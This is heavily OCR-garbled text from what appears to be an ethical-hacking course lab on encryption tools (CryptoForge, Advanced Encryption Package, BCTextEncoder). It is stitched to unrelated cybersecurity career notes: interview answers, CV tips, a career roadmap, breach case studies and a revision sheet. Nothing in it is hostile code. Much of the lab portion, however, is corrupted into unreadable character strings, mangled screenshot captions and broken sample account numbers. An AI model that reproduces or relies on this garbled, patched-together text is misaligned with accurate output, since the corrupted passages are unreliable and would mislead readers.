2 i em� 1 item selected '166 

Name 

Confidential.ll<t.de 
0) CryptoForge.exe 

0 X 

,. 0 

�
EE 

Proptrl1ts 
€) 

Stltct 

Op•n 

V C, Search Cryp10For9• p 

Dale modified 

12/10/2019 6:04 PM 
12/10/2019 5:47 PM 

>

Q TA�K 4.3 
11. I .er 11s �5s11m1: rh�( yo11 slurr;rl r'hi< fil(' thro11gh � ;d,�r('d nel\v,:wk tlriv�•-

Decrypt the 
l!ncrypted Pile

12. Now, switch co the Windows Server 2019 virtual machine and m1Yig,m:
to Z:\CEHv11 Modulo 20 Ctyptography\Cryptography 
Tools\CryptoForge. You will observe the cncryp(ecl file i11 this location.

13. Double-click the encrypted ftk- co decrypt it and view its contcots .

.,. I C')'ptoForgo 

Hoine SMre 

[jj u 
J.
''" 

Fin !o Q.1.11c.( Copy Paste 
0 actns 

VltW 

... X· 

{!I· 

Organize 

New 
!older

?rope.rtiu 

Open 

D X 

,.. 0 

EB 

s,1,ct 

Cl1pbot1rd 

y 1' « C,yp... > CryptoFor ... v � Search Cryptoforg• p 

* Quick >«c:»

fil Desktop ,t 

.. Downlo!ds ,t 

" 

� Oocumtnt► I v <

� Confidenti,l.b<t.de 
� Cryptoforge.e,e 

2 items 1 i_lem ,elected 166 bytcs

lZ/10/2019.&.04 PM 
12/10/l019 S:4/ PM 
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14. The Enter Passphrase - CryptoForge Files dialog-box appears; enter
the password that }'OU have provided in Step#9 to encrypt the file and
click OK.

� Enter P1mplirase • C;yptoForge Files X 

j c:::i N!ffll lock - Caps lock I 

fassphrase:: 
., ..... _•_• ... _•_•_• ________________ .11

' OK I Help 

15. Upon entering the password, the file will be successfully decrypced. You
may :now double-click the text file co view its contents.

Home Share View 

� D 
' 

.. .. M0'1t to• X Otlt'i:e •
"· 

Pin to ().uo. Cop'J Pane 

ll<tfH 0 
"!.i)copy10 • r-;pR,n.1m• 

Cl!pOoatd o,oamu 

11.o· 

New D· 

fold tr 

Nnv 

� �-Propc-rtfrs 

Optn 

EB Sflt<t •II 
·•' Stlt<1 nont
{:f fnvtn Hltdton 

�tlt<t 

0 

0 

• 1' c• C,yptography Tools • CryptoFo,gc v Cl Sut<h C,yptoforgc p 

* Quid: 4CCCS$

liilll Otsl<top <# 

,i- Oownlo.1ds ff 

� Oo<urncnts JI 

C,yptofcrgt: I v < 

Nemc: Confidcntic,l.txt • Not�d a X 

F-1le Edit Format VH!'lv HP!p 
....,_. ..... __,.__...,1►1y Visa Credit Card number is 12•• ·•·• --34 
._ ______ _.IMy Bank Account number is 34l'·'""""A...l!J.21 

My Card pin number is ••68 

Windom ( Ln 1. Col t 100% 
2itcm� I itcm.sdccted t1$bj't� 

� TASK '4.4 

Enc:rypta 
Message 

16. So far, you have �ccn how co encrypt a file and share it with the intended
user. �nw, ,vc shall share an encr)'p1ed rness;,igc wirh ,1 11ser.

17. ln the Windows Senler 2019 maclum:, c.lick the Startjeon present u1 the
uouorn-lcfL comer tJ f Desktop am.I clich Cryptol'orge Text from 1.be
apps co launch the application.

1 8. The Cryptoforge Text window appears; type a mc:;:;agc and chck 
l!!ncrypt from L.hc:: Luv!bar. 
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file 

0. Enter Passphrase - CryptoForge Text X 

0 !:fide Typing 1-N=tock -Caps Lock 1 

fassphrase; .,,� ________________ __,!

OK Canc;J [ Help ] 

29. The CryptoForge Text window appears, displaying the message in plain­
text format, as shown in the screcnshoc. 

CryptoForge Text (Trial Mode) - Secret Message.dd - D X 
Edit View Message Insert Format Help 

Passlrase I 
� S' 

I Encrypt Decrypt Insert Fite 1 
cJ !!5 Q � I t. ._ � � I ., t" . B I y I ISegoe UI "101�• 

I Hi, My Account Number is 12--..-..342 I

Q TASK 5 

Q TASK S.1 

Install Advanced 
Encryption 
Package 

1• 1 

Figu,c 1 .4.17: M c.'$$:t..'t� Dcct')1ncd SucCC$.sfully 

Note: In real-time, you may share sensitive information through email by 
encrypting data using CryptoForge. 

30. This concludes the demonstration of performing file and text messai,rc
encr}'ption using CryptoFc>rge. 

31. Close all open windows and document all the ac�1uired information.

32. Tum off the Windows Server 2019 virtual machine.

Perform File Encryption using Advanced Encryption Package 

Here, we will use the Advanced Encryption Package tool to perform file encryption. 

I. In the Windows 10 virtual machine. navigate to E:\CEH-Tools\CEHv11
Module 20 Cryptography\Cryptography Tools\Advanced Encryption 

Package and double-click aep.msi.

2. Windows Installer initializes and the Advanced Encryption Package 

Setup window appears; click the I accept the terms in the License 

Agreement checkbox; then, dick Install.

Pg.176 www.technoglobe.co.in



1C:J Ad,cmccd 
£nc1yp1ion Package L, a 
file enayprton softw::irc 
fur Windows u.,;cd for 
S(.."Curc Gle rransfcr, bar.ch 
file encryprion, and 
encryptt'CI backups. Tr 
supporrs file ::u1d/nr rc..xt 
t--i1e:cyprion,. pettC,m,s 
S<.>Cllt'e file elder.ion, and 
creates an cnO}'!'tcd sclf. 
c.xtraaing file co :,;encl a,-; 
:in email :-1ttachmcnt. 

Note: If a User Account Control pop-up appears, click Yes. 

� Advanced Encryption Padrage 2017 Setup 

Please read the Advanced Encryption Package 2017 License 
Agreement 

Advanced Encryption Package 2017 
Version 6.06 
January 8, 2017 

Ucense for use and distribution. 

1. AEP 2017 is distributed as try before you buy. 
This means: 

1. All r:nnvrinhtc: to AFP 7017 ;,rA P')(dt1!:iVPlv nwnPrl 

! 01 accept the terms in the Licenst Ageement !
crrck Ins121! to ins12111 the product with default options for al users. C5ck Advanced to
change Installation options.

Print [ Advanced Jj
.,__

..i'r
"-

Instal
--....... _. Cancel 

3. Follow the seeps co install the application with default settings.

X 

4. After the completion of the imtallacion, Completed the Advanced 

Encryption Package Setup Wizard appear!;; then, click Finish. 

'it} Advanc!d Encryption Packagf 2017 S!tup x• 

Completed the Advanced Encryption 
Package 2017 Setup Wizard 

OICk the Finish button to eX1t the Seb.C> Wizard. 

I � Arish 
= 

I Cane.cl I
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Q TASK 5.2

Encrypt a FIie 

l'J, 111 Ult: 11avam;ea cncrypuon l'acKage w111uow, cxpauu c: unvt: m1u 

navigate to CEH•Tools\CEHv11 Module 20 Cryptography\Cryptography 

Tools\Advanced Encryption Package. Select the Sample.docx file 
located in the given location and click Encrypt in the toolbar 

� Advanced Encryption Package 2017v6.06 • Trial Version 

''file E-Mail Options Tools Help 

-
> ',;,. C:

�O: 
v _E: 

v CEH·Tools 
) 

) 

> 

) 

> 

) 

) 

> 

> 

> 

V 

y 

CEHv 11 Lab Pter�51tes 
CEHv 11 Mod.de 02 f'wtpmllng and Rceonnas:sanct 
CEHvll Modile 03 S<.JnnlnQNetworks 
CEHv 11 Mod.de 04 Er!Jmerb� 
CEHvl I MocMe 05 Wnerablty Anal)'SIS 
CEHv l t Modlle QQ SVlilcm HaddnQ 
CEHv 11 Modlle 08 Srllflng 
CEttv 11 Mod.de 09 s«lal cng,neerno 
CEHv 11 Modile 10 Oenlal-of•�rvice 
CEHv 11 Mod.de 11 Session Ii� 
CEHvl l Mod.de 12 Evading IDS, Frewalli, M'od ttooeypots 
CEHv u Mod.de 13Hacldng l'ieb SeMfs 
CElMI Moclite l4Haddno 11/cb APlllcations 
CEHv 11 Moclite l S SQt. l,u«bQn 
CEHv 11 Mocl.ile 16 Haddng •,•freless Netwcris 
CEHv 11 Modtile 17 Haddng Mobile P'oatfurms 
CEHv I W.o6.ile 19 Cloud Computing 
CEHv 111".oclJle 20 CryplQ9'aii/1Y 

CrvPlQ9"6phy Tools 
v Advanced En<rypbon Pa� 

CryptoForge 
MOS M'od M06 Halh Cokuators 

FlesFUter 
@Show all Ries 

SetO.,ti,vlf'Gloo 
@Cltrent fclder 

QAIJl)ly fJter .. , oeu�tQm: 

D X 

-:-I Encrypt ll�IL 

y 

SfX I ZIP

Delete I E-fflal

�: PaS5V,ord 

P ,woro I Pubic Kev 

PaSS\l'(l(d: 

[ 

01:SX 

�

Pad( file, the!, aypt 
IC� Fil�s 

O�te aftrs enaypbOO 
5ecul elv delete 

EnayptNowl 

I

' 
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16. The FIie exists already ... pop-up appears, click Yes. 

File exists already ... 

/fff;'J, File "E: \CEH·Tools\CEHv 11 Module 20 Cryptogrbphy'µyptography Toolsl,6.dvanced 
� Encryption Package\Sample.docx•ls existing. Overwri�? 

.__Y_e_s _ _.l _ �Yes

17. The decrypted fik (Sample.docx) appears in the same locacion. as shown
in the screenshot

17. The decrypted fik (Sample.docx) appears in the same locarion, as shown
in the screenshot.

1 1
7a Advanced Encryption Pack.age 2017 v6..J36 • Trial Version - 0 X 

l"� E·Ma11 Options Tools Help 

) i;,. C: � Encrypt f Decrypt 

2o: 
I I. V - E: SFX ZIP 

V CEH•Tools Delete 11. E-mai 
CBivl 1 Lob Prd'cq..s::',jtt:S 

> ca+Jl I Mo<Uc 02 foo!prlnting •nd R«c<>nolS"...,,CC �pion 
) CBiv l l MocUe 03 Seaming Networks 
> Geivl l MocUt CM Eru'l'lerat:ion Po!:sword 
> C61v 11 r,<O<Ue OS \Vnerabmty AAOIY<i, 

,f.Af:SW!'IR I Pnv l(fy I
) CfHv 11 f',odu,, 06 System Hadcing 
) CEHv I l r,.o<U, 08 Srifmg P_d, > CEHv 11 Mocl&k 09 Social &190'emg 1-·-- 1� .. 1 ) C6M I MociJe 10 D<nial-of,Se,vice 

> I
CEHv 11 Mo<ik l I s,...,n H,;,ddng 
CEHv u l'<l<l<k 12 Evadng IDS, Fi'evroi!s, and Honeypots 
Ctlwll Mo6Je 13 Hadong Wei> Ser""' Soc.,rce �le(s): 
C61v u MocUe 14 Had<lng Wei> i'l)pl,caoons 
cs+, 1 i l'<><lle , s SQ. lnjedion OLeave it alone 
cett .. 11 MocUe 16 Jiaek.r'ig w· .. �ss �tworks: 
C61v 11 Mo<Ue 17k;dohg Mobile Platforms 

®Delete 

CEHv 11 MocUo 19 Cloud �lin9 
V CEHvll Mo<iJ<e 20 Cryp:ography 

V Cryptography Tools 
V Advanced Et><rt,,tloo Pado,ge 

> ,�� \@.docxl
Ciyp orgt 

> MOS and M06 Hash CalaJau,rs " 

Fiosfill:fr Sot Ovll>ut Folder 
@Show al files @Curent folder 

0 ApJiv lilt<:r ... 
•.1..•-1 Oeusrom: 

� I 
I vf ... 

ogcjng: 
D E: \CEtHool•-.,::a<v 11 Mo<l<k 20 O•1p11,grophy\Cryptog,-oc,hy Tooi<\Advon«<i E ... A 

Sampf•.dooc.oep [! l KB] (00.ETE0) •> Samplo.docx (! l KB] 
Deayptl'low1 0 Do,..., Pl'ocossecl 1 lilts. Succoeded: 1. faled: 0 

0 Processod 11 KB. Aven,,;e Sl'•ed: 11 KB/, y 

l•i�'l.ltc t.5.13: Decrwu.-<l lite 
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lc7 You cu, also use 
mher ayptograph)' rools 
such as AxCrypt 
Qmps://www.a.,C'}p1.net) 
,Microsoft 
C,yptowaphy Tools 
Qmps://docs.miaosoft.c 
om). and Concealer 
Qmps://w\\w.bdigh!Wft. 
com) ,o COC'}'P'' 
cc;,nfidcrnial d•m. 

9. The decoded plain text appears under d1e Decoded plain text S{,'Ction, as
shown in the scrccnshot.

(!. BCTcxtEncoder Utilityv. 1.03.2.1 - D X 

File Edit Key Options Help 

0� GI D f ¢T ¢,T � ;;! ?

Decode<! plan rext 404 e Encode by: password v] €ncode
t1CTextfr.:oder simplifies encoding and decoding text data. Plain text data are compressed, "'10''/P!ed aod cooverted b I• 

" 

Encode<! text: 926 B Decoded by passNOrd Oecode 

'--8EGIN OCOOBJ MESSAGE-
Version: BCTexlfncoder Utility v. 1.03.2.1 

wy'IECQMCFrkSx63la2l'goB�Wnl/118x1W<l'83QKdzwz2fl7K9pifGFUloct4\leMNx 
0-..AIAY'lOIRsqG0tn6TA7e3EaRld7d3e2llq90WMktUYZJE610ri(\l'/kv4cj7=2J 
9"'igV2'nlitwlM'cjEgl'/'l'fNP3aW/\'5Q,lmh65aQl'M1Trit\/4:Gg�IZPKupdSH!l+x 
ft8h·Aw81GE0rzTiaVFMwmp lPG!iTbc:CRhxvY70JvesY +WbJjOSldCQeEExW/iqC 
l)C.)Clnl 3xXfsMA 7<.9C Hxldr/RExh 7qAuyslnHf4yeTj1Cr il ljDVrlS2YSkol'f 
D<b7FOYlbT2x5Vg• 
;..BJwT 
···-El'l!l <NCODEO MESSAGE ..... ' 

Note: ln real-time, using this procedure, you can encode d1e text while sending it 
to the intended user a.long with the pas�·word used for encryption. 111c user for 
whom the text is int:cndc.:cl should have the.: ilC l'c.:xtEnco<lcr application installed 
on his/h{,'I'. machine. He/she will have to paste the encoded text into rhe Encoded 

text section and use the password you shared, to decode it to plain text. 

·10. Il1is concludes the dcmcmstration of encrypting and decrypting the data
using BCTextEncoder. 

11. Close all open windows and document all d1e acquired infom1ation.

12. Tum off the Windows 10 virrual machine.

Lab Analysis 

Analyl!c ao<l <locurm:111 all rhc result.S discovered in the lab exercise. 

PLEASE T.\Lli. TO \0{ RI. STRl cron IP \Oll ll\\E QllE�TlO�S 
.\BOl T TlllS LAB . 

""· .. .:,;:z: .... -_· ·,_; - --� .. _ ---
1•:l,n·i•••!J t.1■••1 .. -•····-

• � .......... 
W• . . .  . -,. ',••.'.- - --•-,:� ·-.. "'.�- :•-·:.•.-,, .• , 

□ Yes li'.1No 

Platform Supported 

@' Classroom @iLabs 
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20 Cybersecurity Interview Questions & Sample Answers 

1. What is the CIA Triad in cybersecurity?

Confidentiality, Integrity, Availability. These are the core principles ensuring data is
private, accurate, and accessible when needed. 

2. Explain the difference between a virus, worm, and Trojan.

A virus attaches to files, a worm spreads independently, and a Trojan disguises itself
as legitimate software. 

3. What is the difference between symmetric and asymmetric encryption?

Symmetric uses one key (faster), asymmetric uses public/private key pairs (more
secure for communication). 

4. What is a firewall and how does it work?

A firewall filters incoming and outgoing traffic based on security rules to protect
networks. 

5. What are IDS and IPS?

IDS = Intrusion Detection System (monitors & alerts), IPS = Intrusion Prevention
System (blocks threats). 

6. Explain hashing vs encryption.

Hashing is one-way (used for integrity), encryption is two-way (used for
confidentiality). 

7. What is multi-factor authentication (MFA)?

A login method using two or more factors (something you know, have, or are).

8. What is phishing and how to prevent it?

Phishing is tricking users to reveal data via fake emails/sites. Prevent with awareness
training, filters, and MFA. 

9. What is SQL injection?

A web attack where malicious SQL queries manipulate databases. Prevent with
parameterized queries and input validation. 

10. What is penetration testing?

A simulated attack to test system security. Helps find and fix vulnerabilities before
hackers exploit them. 

11. What’s the difference between black hat, white hat, and grey hat hackers?

Black hat = malicious, White hat = ethical security testing, Grey hat = mix of both.
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12. Explain the OSI model layers in relation to security.

Each layer can face specific threats (e.g., network sniffing at Layer 3, DoS at Layer 4,
malware at Layer 7). 

13. What is Zero Trust security?

A model where no user or device is trusted by default, even inside the network.

14. What is ransomware and how to protect against it?

Malware that encrypts files and demands ransom. Protect with backups, patching,
and endpoint protection. 

15. What is port scanning and why is it used?

A technique (e.g., with nmap) to discover open ports and services on a system.

16. What is the difference between authentication and authorization?

Authentication = verifying identity (username/password). Authorization =
permissions after login (what you can access). 

17. Explain VPN and its use in security.

VPN encrypts traffic between user and server, protecting data from eavesdropping
on public networks. 

18. What are security patches and why are they important?

Updates fixing vulnerabilities. Not patching leaves systems open to attacks.

19. What is social engineering in cybersecurity?

Manipulating people into giving away confidential data. Prevent with training and
strict policies. 

20. Why do you want to work in cybersecurity? (HR question)

Answer should show passion, continuous learning, and commitment to protecting
data and systems. 
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 How to Write a Strong Cybersecurity CV 

 CV Structure: 

1. Header

o Full Name

o Phone, Email, LinkedIn, GitHub (if projects)

2. Professional Summary (3–4 lines)
Example:

“Cybersecurity professional with strong knowledge of networking, firewalls, and 
penetration testing. Skilled in ethical hacking tools like Wireshark, Metasploit, and Kali 
Linux. Passionate about securing systems against modern threats.” 

3. Key Skills (bullet points)

o Networking & TCP/IP

o Linux & Windows Security

o Penetration Testing (Nmap, Metasploit, Burp Suite)

o Cryptography & Encryption

o SIEM Tools (Splunk, ELK)

o Incident Response

4. Work Experience / Projects

o Cybersecurity Intern – XYZ Company (Jan 2024 – June 2024)

▪ Conducted vulnerability scans using Nessus.

▪ Assisted in penetration testing of internal networks.

▪ Created awareness sessions for phishing prevention.

o Academic Project – “Network Security Lab”

▪ Simulated attacks with Kali Linux and analyzed using Wireshark.

5. Education

o B.Sc. in Computer Science / Diploma in Networking & Security.

o Certifications: CCNA, CEH (if any).

6. Extra Section (Optional)

o Workshops, conferences, bug bounty participation.
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 Tips: 

• Keep CV 1–2 pages only.

• Use action words: “Configured”, “Tested”, “Analyzed”.

• Highlight tools you know (Kali Linux, Wireshark, Metasploit).

• If fresher → focus on projects & labs.

• If experienced → focus on achievements & results.
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 Cybersecurity Career Roadmap 

 Entry-Level Roles 

• IT Support / Helpdesk Technician

o Skills: Basic networking, OS troubleshooting, antivirus.

o Tools: Windows/Linux basics, Wireshark (intro).

• Security Analyst (SOC Tier 1)

o Skills: Log analysis, incident detection.

o Tools: SIEM tools like Splunk, QRadar.

• Network Administrator

o Skills: Configuring routers/switches, firewall basics.

o Certifications: CCNA, CompTIA Security+.

 Mid-Level Roles 

• Penetration Tester / Ethical Hacker

o Skills: Exploitation, vulnerability testing.

o Tools: Kali Linux, Metasploit, Burp Suite.

o Certifications: CEH, OSCP.

• SOC Analyst (Tier 2–3)

o Skills: Threat hunting, malware analysis.

o Tools: SIEM, IDS/IPS, Endpoint Detection.

• Incident Responder

o Skills: Containment, recovery, forensics.

o Certifications: GCIH, CHFI.

 Advanced Roles 

• Security Engineer / Architect

o Skills: Designing secure systems, zero-trust models.

o Tools: Advanced firewalls, cloud security tools.

• Cybersecurity Consultant

o Skills: Policy design, compliance, risk management.
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o Certifications: CISSP, CISM.

• Chief Information Security Officer (CISO)

o Skills: Leadership, business alignment, strategy.

o Responsibility: Protecting the entire organization.

 Real-World Case Studies  

 WannaCry Ransomware (2017) 

• Spread worldwide using a Microsoft Windows SMB exploit.

• Affected 200,000+ computers in 150 countries.

• Lesson: Always patch systems & maintain backups.

 Equifax Breach (2017) 

• 147 million customer records stolen due to unpatched Apache Struts.

• Exposed sensitive data (SSNs, DOBs, addresses).

• Lesson: Patch management is critical.

 Facebook–Cambridge Analytica (2018) 

• User data misused for political advertising.

• Lesson: Data privacy laws (GDPR, CCPA) matter.

 Cybersecurity Myths vs Reality 

• Myth: Hackers only attack big companies.
Reality: Small businesses are common targets (weak security).

• Myth: Antivirus will protect me from everything.
Reality: Defense requires firewalls, updates, backups, and awareness.

• Myth: Strong passwords are enough.
Reality: Use MFA (Multi-Factor Authentication) for real security.

• Myth: Cybersecurity is only technical.
Reality: Human errors & social engineering cause most breaches.

• Myth: Once patched, you’re safe.
Reality: New vulnerabilities appear daily.
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 Cybersecurity Quick Revision Sheet (1 Page) 

 Acronyms 

• CIA Triad: Confidentiality, Integrity, Availability

• IDS/IPS: Intrusion Detection/Prevention System

• MFA: Multi-Factor Authentication

 OSI Model Security Focus 

• Layer 3 (Network): IP spoofing, DoS

• Layer 4 (Transport): Port scanning

• Layer 7 (Application): SQL Injection, XSS

 Common Ports 

• 21 – FTP

• 22 – SSH

• 25 – SMTP

• 80 – HTTP

• 443 – HTTPS

 Useful Commands 

• ping – Test connectivity

• netstat – View network connections

• nmap – Scan ports & services

• chmod – Change file permissions
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